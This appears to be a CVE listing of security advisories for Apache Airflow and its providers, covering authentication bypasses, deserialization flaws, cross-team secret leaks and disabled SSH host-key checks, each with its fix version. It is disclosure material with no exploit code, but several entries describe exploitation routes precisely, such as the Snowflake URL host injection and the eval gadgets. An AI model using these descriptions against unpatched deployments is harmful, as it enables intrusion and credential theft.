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76 CVE
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CVE-2026-86467 – Non évaluée
Apache Software Foundation Apache Airflow Amazon provider
Apache Airflow Amazon provider: the AWS auth manager's SAML login flow does not bind the authentication response to the browser that began it. The login handler discards the AuthnRequest ID and the callback validates the assertion without requiring a matching InResponseTo, so an unauthenticated attacker who can cause a victim to load a page can complete a SAML login in the victim's browser using the attacker's own assertion, silently logging the victim into the attacker's Airflow account. Subsequent work the victim performs lands in a session the attacker controls. Affects deployments using the AWS auth manager with SAML authentication. The victim needs only to visit an attacker-controlled page; no Airflow account or credential is required of the attacker. This is the same login-CSRF class fixed in the Keycloak auth manager as CVE-2026-40948. Users of apache-airflow-providers-amazon are recommended to upgrade to version 9.38.0, which fixes the issue.
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CVE-2026-96806 5.8 Moyenne
Apache Software Foundation Apache Airflow Keycloak provider
The Apache Airflow Keycloak auth manager did not end the session on logout: the logout route revoked the presented token, but `KeycloakJWTMiddleware` then issued a new, unrevoked token on the same response, so the user stayed logged in. Deployments using the Keycloak auth manager are affected: after a user logs out, anyone with later access to the same browser (for example on a shared workstation) can continue to act as that user. Users of apache-airflow-providers-keycloak are recommended to upgrade to apache-airflow-providers-keycloak 0.11.1 or later.
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CVE-2026-94135 4.3 Moyenne
Apache Software Foundation Apache Airflow SFTP provider
The Apache Airflow SFTP provider's deferrable code paths (`SFTPTrigger`, `SFTPHookAsync`, `SFTPClientPool`) disable SSH host-key verification by default unless the connection explicitly sets `no_host_key_check` to false. Deployments that run SFTP sensors or operators in deferrable mode are affected. An attacker in a machine-in-the-middle position between the triggerer and the SFTP server can impersonate the server and capture the credentials or data exchanged. Users of apache-airflow-providers-sftp are recommended to upgrade to apache-airflow-providers-sftp 7.0.0 or later. This is a separate defect from CVE-2026-94134 (the synchronous SSH hook default, which also affects the SFTP hook); users who applied the fix for one also need this release for the other - apache-airflow-providers-sftp 7.0.0 fixes both.
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CVE-2026-94134 9.1 Critique
Apache Software Foundation Apache Airflow SSH provider · Apache Software Foundation Apache Airflow SFTP provider
The Apache Airflow SSH provider hook disables SSH host-key verification by default: unless `host_key` is configured or `no_host_key_check` is explicitly set to false, it accepts any server key. This affects SSH and SFTP connections that rely on the default. An attacker in a machine-in-the-middle position between the worker and the SSH or SFTP server can impersonate the server and capture the credentials or data a task sends. Users of apache-airflow-providers-ssh and apache-airflow-providers-sftp are recommended to upgrade to apache-airflow-providers-ssh 7.0.0 and apache-airflow-providers-sftp 7.0.0 or later. The deferrable SFTP code paths had the same default and are covered separately by CVE-2026-94135; apache-airflow-providers-sftp 7.0.0 fixes both.
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CVE-2026-92228 6.5 Moyenne
Apache Software Foundation Apache Airflow Keycloak provider
The Apache Airflow Keycloak provider's multi-team provisioning (`_attach_team_permissions`) granted every team role global read access to audit logs. Deployments that enable multi-team mode with the Keycloak auth manager and provision teams through it are affected: any authenticated member of one team could read other teams' audit events through the UI or the event-log API. Users of apache-airflow-providers-keycloak are recommended to upgrade to apache-airflow-providers-keycloak 0.11.1 or later.
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CVE-2026-86843 6.3 Moyenne
Apache Software Foundation Apache Airflow Teradata provider · Apache apache-airflow-providers-teradata
The Apache Airflow Teradata provider's compute-cluster example Dag declared every one of its Dag Params as unconstrained free text and templated them straight into the compute-cluster operators, which interpolate those values into Teradata DDL. A user who is permitted to trigger that Dag - a lower-trust role than the Dag author, and one that needs no Teradata credentials of its own - could therefore supply SQL fragments that execute under the connection the task runs as, and could additionally redirect the task at any other connection defined in the deployment, because the connection id was itself a free-text Param. Only deployments that run this example Dag, or a Dag copied from it, are affected; the provider's operator code is unchanged. Users of apache-airflow-providers-teradata are recommended to upgrade to version 3.7.0 or later, whose example constrains the Params to validated identifiers and a closed value set and removes connection selection and free-form option strings from trigger-time input. Upgrading does not change a Dag already copied from the example; users who copied it should apply the same constraints to their copy.
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CVE-2026-81930 6.3 Moyenne
Apache Software Foundation Apache Airflow Snowflake provider · Apache apache-airflow-providers-snowflake
Apache Airflow's Snowflake provider did not validate the connection's `account` and `region` fields before interpolating them into request URLs. The SQL API endpoint is built as `https://{account}.snowflakecomputing.com/api/v2/statements`, so an `account` value containing `/`, `?` or `#` demotes the intended domain to a path, query or fragment and leaves the attacker in control of the request host. The provider sends that request with an `Authorization: Bearer` header carrying a JWT minted from the connection's private key, or the configured OAuth or programmatic access token. A user who can edit the Snowflake connection but cannot read its secrets — Airflow gives connection-configuration users write-only access to stored credentials, and a `private_key_file` lives on the worker rather than in the connection — can therefore cause a valid token for the account to be delivered to a host of their choosing and replay it against the genuine Snowflake endpoint. No Dag-authoring ability is required: the attacker edits the connection and waits for an existing Dag to use it. The same unvalidated value was also used to build the OAuth token-request URL and the Cortex Agent base URL. Affects deployments where Snowflake connections are editable by users who are not trusted with the connection's credentials. Users are advised to upgrade to `apache-airflow-providers-snowflake` `6.18.0` or later, which rejects `account` and `region` values containing anything other than letters, digits, `.`, `_` and `-` in every URL the provider builds from them.
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CVE-2026-81914 4.3 Moyenne
Apache Software Foundation Apache Airflow Google provider · Apache apache-airflow-providers-google
Apache Airflow's Google provider built Google Drive search expressions by interpolating file and folder names directly into single-quoted string literals, without escaping the quote character that delimits them. A name containing an apostrophe therefore terminated the literal early and appended clauses of the attacker's choosing to the query. The names are frequently not written by the Dag author. In a wildcard `gcs_to_gdrive` transfer they come from the source bucket listing, so anyone able to create objects in that bucket controls them — typically an external data producer or an ingest-only service account, a different trust principal from the Dag author. An injected clause can broaden the match and so steer which file or folder the hook resolves: an upload can be directed into a folder the attacker named, and, because downloads select the most recently modified match, a download can return a file they placed rather than the one the Dag asked for. Affects deployments passing externally-sourced names to the Google Drive hook, including wildcard `gcs_to_gdrive` transfers from buckets writable by less-trusted principals. Users are advised to upgrade to `apache-airflow-providers-google` `22.6.0` or later, which escapes quote and backslash characters in every value interpolated into a Drive query.
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CVE-2026-81862 6.5 Moyenne
Apache Software Foundation Apache Airflow Teradata provider · Apache apache-airflow-providers-teradata
Apache Airflow's Teradata provider embedded cloud storage credentials directly into SQL statements. `S3ToTeradataOperator` and `AzureBlobStorageToTeradataOperator` interpolate the source bucket's credentials as plain string literals into the `CREATE MULTISET TABLE ... LOCATION` statement whenever the bucket is private and no `teradata_authorization_name` is configured — which is the default credential path for both operators. The statement is then logged and executed, so the credentials reach two places outside the operator's control. The two operators expose different credentials through different channels, and deployments should check both. `S3ToTeradataOperator` takes its values from `s3_hook.get_credentials()`, which under an instance profile or IRSA returns runtime AWS credentials that were never registered with Airflow's secrets masker — and the STS session token is runtime-generated and therefore unmasked even when an AWS connection is configured. Those credentials appear **in the Airflow task log**, readable by any user with log-view permission on the Dag. `AzureBlobStorageToTeradataOperator` takes its storage account key from the connection, so the masker usually redacts the task-log copy; its exposure is the Teradata side. **Both** operators write the credentials into Teradata's DBQL query logs and live monitoring views, where Airflow's masking never applies and the values persist for that system's log retention period. Affects deployments using either operator against a private bucket or container without a Teradata `AUTHORIZATION` object. Users are advised to upgrade to `apache-airflow-providers-teradata` `3.7.0` or later, which keeps the credential-bearing statement out of the Airflow task log. Upgrading does not remove the credentials from Teradata's query logs and monitoring views, which Airflow cannot redact: users should configure `teradata_authorization_name` with a Teradata `AUTHORIZATION` object so that credentials are never inlined, and should rotate any credentials previously used through the inline path.
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CVE-2026-97636 6.5 Moyenne
Apache Software Foundation Apache Airflow HashiCorp provider
Apache Airflow HashiCorp provider: the HashiCorp Vault secrets backend's team-scope guard can be bypassed with a user-controlled key. In a multi-team deployment, a Dag author scoped to one team can supply a Variable key containing a path separator that causes the backend to resolve a secret belonging to a different team, because after the team-scoped lookup misses the backend falls back to a team-agnostic path concatenated from the unvalidated key. The Execution API Variables route accepts a path-shaped key, so this is reachable from ordinary Dag code. Affects multi-team deployments using the HashiCorp Vault secrets backend. Single-team deployments are not affected, as there is no cross-team boundary to cross. This is the same class as CVE-2026-86465, CVE-2026-68870, CVE-2026-68871 and CVE-2026-68872 in the Akeyless, Azure Key Vault, Yandex Lockbox and Amazon secrets backends. Users of apache-airflow-providers-hashicorp are recommended to upgrade to version 4.8.0 or later, which fixes the issue.
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CVE-2026-86473 9.1 Critique
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow: the Core API logout endpoint revokes only a session token presented as the _token cookie. When a client logs out presenting its credential as an Authorization bearer header instead, the endpoint returns its normal logout response but revokes nothing, so the token remains valid until it expires. An attacker who already holds a copy of that token keeps the victim's access after the victim has logged out and believes the session ended; the default token lifetime is 24 hours and is configurable. Affects API clients that authenticate with a bearer token rather than the browser session cookie. The attacker must already possess a copy of a valid token; obtaining one is outside the scope of this issue, and no privileges beyond the victim's own are gained. Users of apache-airflow are recommended to upgrade to apache-airflow version 3.3.2 or later, which fixes the issue.
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CVE-2026-82355 4.2 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
When a request to the Airflow core API carries both a session cookie and an explicit `Authorization: Bearer` token, Airflow resolves the caller from the cookie and ignores the bearer token, inverting the intended precedence of bearer over cookie. The request then executes -- and is recorded in the audit log -- as the cookie's principal rather than the identity the client explicitly presented. Only Apache Airflow 3.3.0 and 3.3.1 are affected. Earlier releases do not contain the code path that caches the cookie-derived user, and are not vulnerable. Exploiting this requires an attacker to first place a valid session cookie of their own into the victim's browser or client: for example by cookie tossing from a sibling subdomain, through cross-site scripting in a separate application sharing a parent domain, or via a shared workstation. Deployments that host the Airflow UI on a domain shared with other applications are therefore the most exposed; a deployment on a dedicated domain with no co-hosted applications is not reachable this way. The consequence is principal confusion and misattributed audit records rather than a direct privilege escalation. Users of 3.3.0 or 3.3.1 should upgrade to Apache Airflow 3.3.2 or later, which resolves the caller from the explicitly supplied credential whenever one is present.
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CVE-2026-75158 4.3 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's `/assets/events` API returned asset events for every Dag in the deployment, with no filter restricting them to the Dags the caller is authorized to read. Any authenticated user holding asset-read access could therefore enumerate asset events — including the source Dag ID, task ID, run ID and event timestamps — for Dags they have no permission to see. Because the filter was also absent from the count query, `total_entries` and pagination disclosed the existence of hidden Dags even without inspecting individual rows. Deployments are affected whenever per-Dag access control is used to separate teams or tenants; no special configuration is required. Upgrade to apache-airflow 3.3.2 or later.
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CVE-2026-75157 7.5 Élevée
Apache Software Foundation Apache Airflow
Apache Airflow's asset queued-events DELETE endpoints checked the caller's Dag-axis permission with `READ` instead of `EDIT`. Any authenticated user who could read a Dag could therefore delete that Dag's queued asset events, silently suppressing asset-triggered scheduling for it — a state-changing action gated on a read-only permission. Deployments are affected whenever asset-triggered scheduling is in use and Dag read access is granted more widely than Dag edit access, which is the normal RBAC arrangement; no special configuration is required. Upgrade to apache-airflow 3.3.2 or later.
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CVE-2026-86792 8.8 Élevée
Apache Software Foundation Apache Airflow Apache Kafka provider · Apache apache-airflow-providers-apache-kafka
Apache Airflow Apache Kafka provider versions 1.15.0 before 2.0.0 resolve dotted-path strings found in a Kafka connection's `extra` field into Python callables via `import_string`, with no allowlist, and hand them to the confluent-kafka client which invokes them. Deployments that have enabled the Kafka event producer — `dag_run_events_enabled` or `task_instance_events_enabled`, both disabled by default — build that client inside the scheduler process, so a user whose only privilege is editing Airflow connections gains arbitrary code execution in the control plane; the Airflow security model limits connection-configuration users to code execution on workers, not the scheduler. Deployments using Google Managed Kafka are not affected, because that code path overwrites any user-supplied `oauth_cb`; plain brokers and Amazon MSK are exposed. Users are recommended to upgrade to apache-airflow-providers-apache-kafka 2.0.0 or later, which adds an allowlist configuration option for connection-string callbacks.
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CVE-2026-86466 8.1 Élevée
Apache Software Foundation Apache Airflow FAB provider · Apache apache-airflow-providers-fab
Apache Airflow FAB provider: the Authentik OAuth path in the FAB auth manager does not validate the issuer or audience claims of the id_token it accepts. An attacker holding a token that the same Authentik identity provider minted for a different client application can present it to Airflow and be authenticated as the user it names, because the audience claim is never checked. Affects deployments using the FAB auth manager with Authentik OAuth where the same Authentik instance also serves other applications; the attacker needs a valid token for any of those other applications, not for Airflow. CVE-2026-75156 corrected the same missing validation on the Azure AD path in this file; the Authentik path was left unchanged and is fixed here. Deployments that applied the CVE-2026-75156 fix and use Authentik must also upgrade for this one. Users of apache-airflow-providers-fab are recommended to upgrade to version 3.9.0 or later, which fixes the issue.
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CVE-2026-82310 7.2 Élevée
Apache Software Foundation Apache Airflow FAB provider · Apache apache-airflow-providers-fab
Apache Airflow FAB provider: deactivating a user account does not stop tokens issued to that account before deactivation. Password authentication correctly rejects the disabled account, but the Core API continues to accept an existing, unexpired token naming it, and lets that token mint a replacement — so the account keeps its role-scoped access indefinitely after an administrator has disabled it. The user replays their own legitimate credential; no signature forgery or privilege escalation is involved, and the access stays within the roles the account already held. Affects deployments using Airflow 3 with the FAB auth manager and Core API token authentication, where an administrator deactivates an account whose row remains in the database and whose previously issued token has not expired. The trigger is administrative deactivation as a containment action, which silently fails to contain. Users of apache-airflow-providers-fab are recommended to upgrade to version 3.9.0 or later, which rejects tokens naming a deactivated account.
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CVE-2026-76187 9.8 Critique
Apache Software Foundation Apache Airflow Keycloak provider · Apache apache-airflow-providers-keycloak
Apache Airflow Keycloak provider: the unauthenticated token endpoint accepts a client-credentials grant for any confidential client registered in the Keycloak realm, not only the client configured for Airflow. No allowlist restricts which client ids may authenticate, so the credentials of an unrelated application that happens to share the realm are valid Airflow login credentials, and Airflow mints a signed session token for that application's service account. The endpoint also answers unauthenticated credential guesses against Keycloak under Airflow's identity. Affects deployments using the Keycloak auth manager whose realm is shared with other confidential clients. The attacker needs valid credentials for any one of those clients, not for Airflow. Resource authorization is still evaluated per subject, so the access gained is whatever that service account holds, plus any endpoint gated only on being authenticated. Users of apache-airflow-providers-keycloak are recommended to upgrade to version 0.10.0 or later, which accepts only the configured client on that grant.
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CVE-2026-76186 9.1 Critique
Apache Software Foundation Apache Airflow Keycloak provider · Apache apache-airflow-providers-keycloak
Apache Airflow Keycloak provider: from Airflow 3.3 the Keycloak auth manager takes a user's identity from the signed Airflow session token but takes the Keycloak access and refresh tokens used for every authorization decision from separate, unauthenticated cookies, and never checks that the two describe the same subject. A user who holds any valid Airflow login of their own, together with another subject's Keycloak access or refresh token obtained out of band, can pair the two: Airflow then authorizes requests with the foreign token's privileges while the session identity, audit log and cache keys continue to name the attacker's own account. The refresh path re-issues an Airflow session token for the original identity carrying the foreign tokens, so the mismatched pairing survives across sessions. Affects deployments running Airflow 3.3 or later with the Keycloak auth manager. Earlier versions carried the Keycloak tokens inside the signed session token, so the binding existed and was lost when they moved into separate cookies. Users of apache-airflow-providers-keycloak are recommended to upgrade to version 0.10.0 or later, which binds the cookie-supplied tokens to the session identity.
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CVE-2026-86465 6.5 Moyenne
Apache Software Foundation Apache Airflow Akeyless provider · Apache apache-airflow-providers-akeyless
Apache Airflow Akeyless provider: the Akeyless secrets backend's team-scope guard can be bypassed with a user-controlled key. In a multi-team deployment, a Dag author scoped to one team can supply a Variable key containing a path separator that causes the backend to resolve a secret belonging to a different team, because the lookup path is concatenated from an unvalidated key after the team-scoped lookup misses. The Execution API Variables route accepts a path-shaped key, so this is reachable from ordinary Dag code. Affects multi-team deployments using the Akeyless secrets backend. Single-team deployments are not affected, as there is no cross-team boundary to cross. This is the same class as CVE-2026-68870, CVE-2026-68871 and CVE-2026-68872 in the Azure Key Vault, Yandex Lockbox and Amazon secrets backends. Users of apache-airflow-providers-akeyless are recommended to upgrade to version 0.3.1 or later, which fixes the issue.
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CVE-2026-86462 9.1 Critique
Apache Software Foundation Apache Airflow FAB provider · Apache apache-airflow-providers-fab
Apache Airflow FAB provider: changing a user's password through the Admin user-edit PATCH endpoint does not invalidate that user's existing database-backed sessions. An attacker who already holds a copy of the victim's session cookie keeps full access as that user after the password change, so the password reset does not evict them. Affects deployments using the FAB auth manager with database-backed sessions; an administrator (or the user themselves) performing a routine password change is the trigger, and no attacker interaction with the endpoint is needed. This is a second, independent route to the outcome addressed by CVE-2026-82311, which corrected an identifier comparison in the session-invalidation helper. That fix does not repair this endpoint, because the PATCH path never calls the helper at all. Deployments that applied the CVE-2026-82311 fix must also upgrade for this one. Users of apache-airflow-providers-fab are recommended to upgrade to version 3.9.0 or later, which fixes the issue.
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CVE-2026-82311 9.8 Critique
Apache Software Foundation Apache Airflow FAB provider · Apache apache-airflow-providers-fab
Apache Airflow FAB provider: resetting a user's password does not delete that user's existing database-backed sessions, despite documented behaviour that it does. The cleanup compares the string identifier Flask-Login stores in the session against the user's integer database identifier, so the comparison never matches and no session is removed. An attacker who already holds a copy of the victim's session cookie keeps access as that user after the password change, so the reset does not evict them. Affects deployments using the FAB auth manager with `[fab] session_backend=database`. The trigger is an administrator (or the user) running the supported password-reset command as a containment action after a session cookie has been compromised; the secure-cookie backend is out of scope, as it documents that it cannot centrally delete sessions. apache-airflow-providers-fab 3.9.0 also fixes CVE-2026-86462, a second, independent route to the same outcome via the Admin user-edit endpoint; a single upgrade closes both. Users of apache-airflow-providers-fab are recommended to upgrade to version 3.9.0 or later, which compares the identifiers consistently.
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CVE-2026-75156 9.1 Critique
Apache Software Foundation Apache Airflow FAB provider · Apache apache-airflow-providers-fab
Apache Airflow FAB provider versions 3.7.3 through 3.8.0 do not validate the issuer or audience of Azure AD `id_token`s during OAuth login. Deployments are affected only when the FAB auth manager is configured with Azure AD as an OAuth provider. Because the signing keys are fetched from Microsoft's **multi-tenant** JWKS endpoint, an `id_token` minted in *any* Azure tenant — including one the attacker creates — passes signature verification, and the username and role assignments are then read from that attacker-controlled token. Anyone able to register an Azure tenant can therefore authenticate to the Airflow UI with no prior access to the deployment. The fix for **CVE-2026-59243** was incomplete, and this advisory closes the remaining gap: that fix made the provider verify the `id_token` signature, but did not add issuer or audience checks. Operators who already applied the CVE-2026-59243 fix are **still affected and must upgrade again** — 3.7.3 is the release that shipped that fix, so every version containing it falls inside this affected range. Upgrade to apache-airflow-providers-fab `3.8.1` or later.
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CVE-2026-68971 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's asset materialization endpoint (`POST /api/v2/assets/{asset_id}/materialize`) and the XCom result check on `wait_dag_run_until_finished` authorized the target Dag without its team, unlike every other authorization site. A team-aware auth manager distinguishes a team-scoped Dag from a global one by that field -- the Keycloak auth manager, for example, checks the `DAG` resource instead of `DAG:<team>` -- so the team-scoped permission that should gate the request was never consulted. In a deployment running multi-team mode with a team-aware auth manager, an authenticated user in one team could trigger Dag runs belonging to another team, supplying their own `dag_run_id` and `conf`, and could read another team's XCom values. Deployments using the FAB auth manager are unaffected, as it has no multi-team support. Users are advised to upgrade to apache-airflow 3.3.1 or later, which resolves the Dag's team at both sites.
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CVE-2026-68970 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's Task SDK did not mask the contents of a Variable whose JSON value is a list, so secrets stored in that shape appeared in cleartext in task logs and in the Rendered Templates UI. Masking was applied only when the deserialized value was a string or a dict; a list at the top level matched neither and was returned unmasked. Any authenticated user able to read the logs or rendered templates of a task that references such a Variable could recover the values, with no special configuration required. This is the list-shaped counterpart of CVE-2026-59244, whose fix covered the dict case only, so deployments that upgraded in response to that advisory remain affected and must upgrade again. Users are advised to upgrade to apache-airflow 3.3.1 or later.
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CVE-2026-68969 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow wrote Variable values and Connection `extra` contents to the audit log in cleartext when they were submitted through the bulk endpoints (`PATCH /api/v2/variables` and `PATCH /api/v2/connections`). The audit-log masking recognised only top-level request fields, and a bulk request nests its entities two levels below, so no masking was applied to them. Any authenticated user with audit-log read access -- who need not hold Variables or Connections read at all -- could recover those secrets verbatim, and the Connection `extra` copy is stored unencrypted in the log while the connection table encrypts it. The Airflow UI's *Import Variables* action posts to this endpoint, so an ordinary operator import wrote every secret in the file to the log. This is a different code path from CVE-2026-50204: that fix shipped in 3.3.0 and covers the single-entity endpoints only, so deployments that upgraded in response to that advisory remain affected and must upgrade again. Users are advised to upgrade to apache-airflow 3.3.1 or later.
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CVE-2026-68968 7.5 Élevée
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's Backfill API authorized a request against a Dag id supplied by the caller whenever the `backfill_id` path segment failed to parse. The authorization dependency parsed it with `int()` while the route handler parsed it as pydantic's `NonNegativeInt`, which accepts values `int()` rejects (`1.0` coerces to `1`); FastAPI resolves dependencies before endpoint validation, so the two acted on different Dags. An authenticated user holding edit permission on any single Dag could therefore read, pause and cancel backfills belonging to any other Dag, including moving another Dag's queued runs to `failed`. No non-default configuration is required and backfill ids are sequential, so finding a target is trivial. Users are advised to upgrade to apache-airflow 3.3.1 or later, which parses the backfill id with the same type the routes declare.
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CVE-2026-68076 5.4 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's environment-variable secrets backend resolved a team-scoped Connection or Variable from the wrong team's scope. The guard meant to prevent this only ran when no team scope was supplied, and its pattern could not match a team name containing an underscore, which team names are allowed to contain. When the guard did not apply, the lookup fell through to an unconditional global read that resolved the stored `AIRFLOW_CONN__<TEAM>___<ID>` variable regardless of which team asked. In multi-team mode an authenticated user of one team could therefore have `POST /api/v2/connections/test` resolve another team's Connection and authenticate outward with that team's credentials; the endpoint uses the credentials rather than returning them. Exploitation requires `[core] multi_team` enabled, `[core] test_connection` set to `Enabled` (it ships `Disabled`), team-scoped secrets provisioned as environment variables in the API-server process, and knowledge of the encoded identifier. Redirecting the test at an attacker-controlled host is separately blocked. Users are advised to upgrade to apache-airflow 3.3.1 or later.
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CVE-2026-67587 8.8 Élevée
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's Task SDK rebuilt a `Callback` object from serialized data by re-running its constructor, which imports the module named by the stored callback path. Because `SyncCallback` is itself an Airflow class it passes the default `allowed_deserialization_classes` allow-list, so tightening that setting does not help. A Dag author — who controls a task instance's `next_kwargs` through the task execution API — can therefore cause an arbitrary module to be imported inside the scheduler process, when the scheduler's `awaiting_input` timeout sweep deserializes that value. No non-default configuration is required; the sweep runs unconditionally. Versions before 3.3.0 are not affected: the class existed, but the scheduler sweep that reaches it did not. This is a separate code path from CVE-2026-58076 and CVE-2026-67260, which cover different gadgets reaching deserialization — applying either of those fixes does not address this one. Users are advised to upgrade to apache-airflow 3.3.1 or later.
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CVE-2026-67260 7.3 Élevée
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow 3.3.0 moved human-in-the-loop tasks from the triggerer to a new `awaiting_input` task state swept by the scheduler. That sweep deserializes the task instance's `next_kwargs` without an allow-list, so a Dag author — who controls that value through the task execution API — can cause an arbitrary module import and object instantiation inside the scheduler process, or terminate the scheduler job. No non-default configuration is required: the sweep runs unconditionally every 15 seconds, and the default `allowed_deserialization_classes` setting does not cover this code path. Versions before 3.3.0 are not affected, because human-in-the-loop tasks deferred onto the triggerer instead. This is a different code path from CVE-2026-58076, which covers the same unguarded exception-node deserialization reached elsewhere — deployments that applied that fix must upgrade for this issue as well. Users are advised to upgrade to apache-airflow 3.3.1 or later.
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CVE-2026-65017 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's Config API did not mask team-scoped sensitive configuration values in multi-team deployments. When an administrator has enabled multi-team mode and exposed the Config API, an authenticated Viewer holding only configuration-read access — with no prior access to the secret — could read a team-scoped Celery broker URL, including its embedded credentials, in cleartext, while the equivalent global option was correctly masked. The secrets masker matched only base section and option names and did not normalize team-prefixed sections before the sensitivity check (CWE-200). This is a distinct masker bypass from CVE-2026-48828 and CVE-2026-48892: deployments that upgraded to apache-airflow 3.3.0 to address those issues remain affected by this team-scoped variant. Users are advised to upgrade to apache-airflow 3.3.1 or later, which normalizes team-scoped sections before masking.
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CVE-2026-59244 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's secrets masker did not mask `var.json` Variable values whose value is a dict in the Rendered Templates UI — the dict value failed an `isinstance(str)` guard — so a secret stored as a JSON Variable and referenced in a template via `var.json` was displayed in cleartext to any user with access to that task's Rendered Templates view. Users are advised to upgrade to apache-airflow 3.3.1 or later, which masks nested Variable values regardless of type.
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CVE-2026-59242 5.4 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's XCom `GET /api/v2/{...}/xcomEntries/{key}?deserialize=true` endpoint passed a string-literal payload through `BaseXCom.deserialize_value` without the `_check_forbidden_xcom_keys` guard, allowing an authenticated API user with XCom write-and-read access to instantiate arbitrary `airflow.*` classes on the API server (CWE-502). An authenticated user who can write an XCom value and then read it back with `deserialize=true` triggers the unsafe instantiation. Users are advised to upgrade to apache-airflow 3.3.1 or later, which rejects reserved XCom serialization keys submitted as JSON string literals.
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CVE-2026-58076 8.8 Élevée
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's serialization layer reconstructed exception nodes by calling `import_string()` on a class name taken from the serialized blob and instantiating it with arguments from the same blob, with no restriction on what could be imported. An operator's `executor_config` reaches that branch, so a Dag author could place a value there that causes an arbitrary callable to be imported and invoked -- for example `subprocess.check_output`, or `builtins.eval` on the `builtins`-prefixed variant. The code runs in the **Scheduler**, which reconstructs serialized Dags in its normal loop with no request involved, and in the **API server**, on any authenticated read of the Dag such as `GET /api/v2/dags/{dag_id}/details`. Both are components the Airflow security model states must never execute Dag-author code, and both hold the metadata database credentials and the JWT signing secret. No non-default configuration is required. This is a **different sink from CVE-2026-33264**, which covered only the trigger branch of the same deserializer: deployments that upgraded in response to that advisory are still affected through the exception branch and must upgrade again. Users are advised to upgrade to apache-airflow 3.3.1 or later, which restricts the imported class to a subclass of `BaseException`.
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CVE-2026-54183 4.3 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's secrets masker hides values stored under sensitive key names when they are displayed in the UI. The masker's recursion-depth limit did not descend into values nested inside a list, tuple, or set beyond that limit, so an Airflow Variable holding such a deeply-nested value was shown unmasked in the Variables UI. The exposure is limited to the UI: any authenticated user who can see the Variable in the UI can already read its full value through the Variables REST API, so this does not disclose data the user could not otherwise obtain — the masking is a shoulder-surfing defense for the UI, not an access-control boundary. This is an incomplete-fix follow-up to CVE-2026-42358, whose fix made only the dictionary walk unbounded; lists, tuples, and sets beyond the depth limit remained unmasked in the UI. Deployments that applied the CVE-2026-42358 fix should also upgrade to address this residual case. Upgrade to apache-airflow 3.3.1 or later.
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CVE-2026-68868 6.5 Moyenne
Apache Software Foundation Apache Airflow Google provider · Apache apache-airflow-providers-google
The Google Cloud Secret Manager secrets backend in Apache Airflow's Google provider never applied the team scope when resolving Connections and Variables: the caller's `team_name` was accepted by the backend but dropped at the internal call boundary, so every lookup resolved against the team-agnostic secret name. In a deployment running multi-team mode with this backend, a task or Dag belonging to one team resolved another team's Connection or Variable, obtaining its credentials in full. No unusual configuration is required beyond enabling multi-team mode and using this backend. Users are advised to upgrade to apache-airflow-providers-google 22.3.0 or later, which builds and applies the team-scoped secret name.
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CVE-2026-68872 6.5 Moyenne
Apache Software Foundation Apache Airflow Amazon provider · Apache apache-airflow-providers-amazon
The AWS Systems Manager Parameter Store and Secrets Manager backends in Apache Airflow's Amazon provider resolved a team-scoped Connection or Variable id through the team-agnostic lookup when the team-scoped lookup missed. In a deployment running multi-team mode with either backend, a caller in one team could resolve a secret belonging to another team by supplying an id that spells out that team's namespace, obtaining its credentials in full. No unusual configuration is required beyond enabling multi-team mode and using one of these backends. Users are advised to upgrade to apache-airflow-providers-amazon 9.34.0 or later, which refuses the team-agnostic fall-through for an id that could name a team namespace.
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CVE-2026-68871 6.5 Moyenne
Apache Software Foundation Apache Airflow Yandex provider · Apache apache-airflow-providers-apache-yandex
The Yandex Lockbox secrets backend in Apache Airflow's Yandex provider resolved a team-scoped Connection or Variable id through the team-agnostic lookup when the team-scoped lookup missed. In a deployment running multi-team mode with this backend, a caller in one team could resolve a secret belonging to another team by supplying an id that spells out that team's namespace, obtaining its credentials in full. No unusual configuration is required beyond enabling multi-team mode and using this backend. Users are advised to upgrade to apache-airflow-providers-yandex 4.5.1 or later, which refuses the team-agnostic fall-through for an id that could name a team namespace.
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CVE-2026-68870 5.3 Moyenne
Apache Software Foundation Apache Airflow Microsoft Azure provider
The Azure Key Vault secrets backend in Apache Airflow's Microsoft Azure provider resolved a team-scoped Connection or Variable id through the team-agnostic lookup when the team-scoped lookup missed. In a deployment running multi-team mode with this backend, a caller in one team could resolve a secret belonging to another team by supplying an id that spells out that team's namespace, obtaining its credentials in full. No unusual configuration is required beyond enabling multi-team mode and using this backend. Users are advised to upgrade to apache-airflow-providers-microsoft-azure 14.1.0 or later, which refuses the team-agnostic fall-through for an id that could name a team namespace.
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CVE-2026-59243 9.8 Critique
Apache Software Foundation Apache Airflow FAB provider · Apache apache-airflow-providers-fab
The FAB auth manager's Azure AD OAuth login defaulted `verify_signature=False` when decoding the ID token, so an attacker able to present a forged or unsigned (`alg:none`) ID token to the OAuth callback could bypass authentication and log in as an arbitrary user, including one holding the Admin role (CWE-347). Deployments running the FAB auth manager with the Azure AD OAuth login path under its default configuration are affected; the Authentik path already defaulted to `True`. This issue affects `apache-airflow-providers-fab` before 3.7.3. Users are advised to upgrade to `apache-airflow-providers-fab` 3.7.3, which defaults `verify_signature=True`.
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CVE-2026-59245 8.1 Élevée
Apache Software Foundation Apache Airflow FAB provider · Apache apache-airflow-providers-fab
In the Apache Airflow FAB auth manager, a DAG whose `dag_id` is `DAGs` collided with the global all-DAGs permission resource name produced by `resource_name()`, so a user granted per-DAG `access_control` on that one DAG was silently granted the global all-DAGs permission (privilege escalation). The escalation triggers when a DAG named `DAGs` exists and a lower-privileged user is given per-DAG access to it, granting that user read/edit access to every DAG. Users are advised to upgrade to `apache-airflow-providers-fab` 3.7.2 or later, which disambiguates the resource-name collision.
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CVE-2026-58065 8.1 Élevée
Apache Software Foundation Apache Airflow Git provider · Apache apache-airflow-providers-git
